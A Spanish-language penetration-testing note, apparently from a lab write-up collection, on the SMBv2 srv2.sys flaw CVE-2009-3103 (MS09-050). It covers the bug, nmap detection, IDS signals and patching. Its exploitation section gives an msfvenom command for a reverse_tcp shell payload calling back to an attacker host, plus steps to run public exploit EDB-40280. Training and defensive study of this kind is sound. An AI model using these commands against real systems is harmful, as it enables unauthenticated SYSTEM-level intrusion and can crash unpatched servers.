SMBv2 srv2.sys (CVE-2009-3103 / MS09-050)
CVE-2009-3103 es una vulnerabilidad de corrupción de memoria en el controlador srv2.sys, la implementación de SMBv2 del kernel de Windows. Afecta a Windows Vista (Gold/SP1/SP2), Windows Server 2008 (Gold/SP2) y a la primera Windows 7 RC. Microsoft la corrigió con el boletín MS09-050.
Qué falla. El fallo es un error de índice de array al procesar el campo Process ID High de un paquete NEGOTIATE PROTOCOL REQUEST: un carácter & (ampersand) en esa cabecera provoca que srv2.sys desreferencie una posición de memoria fuera de límites. El resultado mínimo es una caída del sistema (BSOD, denegación de servicio); con una explotación cuidada se convierte en ejecución de código en modo kernel, de ahí que la shell salga directamente como NT AUTHORITY\SYSTEM.
Sin autenticación. El ataque solo necesita alcanzar el 445/TCP con SMBv2 hablando; no requiere credenciales válidas (el intento contra [WORKGROUP\Administrator] puede devolver NT_STATUS_LOGON_FAILURE y aun así disparar el desbordamiento durante la negociación del protocolo).
Detección. nmap lo identifica antes de disparar nada:
nmap -p139,445 --script smb-vuln-cve2009-3103 <ip>
# o el barrido completo:
nmap -p139,445 --script "smb-vuln*" <ip>Explotación. El exploit público de referencia es 40280.py (Microsoft Windows - 'srv2.sys' SMB Code Execution, EDB-40280), que depende de pysmb (pip install pysmb). Lleva un shellcode incrustado que conviene regenerar con msfvenom a un payload por etapas y recibirlo con un handler:
msfvenom -p windows/shell/reverse_tcp LHOST=<ip> LPORT=<port> EXITFUNC=thread -f python -v shell
# pegar el shellcode en el exploit, levantar el multi/handler y lanzar:
python2 ms09_050.py <ip>Conviene tener en cuenta que es un overflow del kernel: si los offsets no cuadran con la versión exacta, en lugar de shell se obtiene un cuelgue de la máquina, así que puede requerir reintentos.
Cómo detectarlo. Frente a la sección anterior (que usa nmap para encontrar la vulnerabilidad), la detección defensiva se apoya en tres señales: un NEGOTIATE PROTOCOL REQUEST de SMBv2 mal formado con un & en el campo Process ID High (firmas IDS/IPS para MS09-050 lo marcan en el tráfico al 445), caídas del sistema con bugcheck referenciando srv2.sys (Event ID 1001 / minidump) cuando el exploit falla los offsets, y conexiones SMBv2 hacia el 445 desde un origen que no es cliente habitual justo antes del cuelgue. Un pico de reinicios de un Server 2008/Vista correlacionado con tráfico SMB externo es la firma.
Defensa. Aplicar MS09-050 (y en general migrar de Server 2008/Vista, ya sin soporte), no exponer 445/139 a redes no confiables y deshabilitar SMBv2 heredado donde no se use. Es el equivalente "2009" del EternalBlue (MS17-010): un fallo de SMB en el kernel que da SYSTEM sin autenticar, vivo solo donde quedan sistemas sin parchear.
Máquinas donde se aplica
- InternalProving Grounds Practice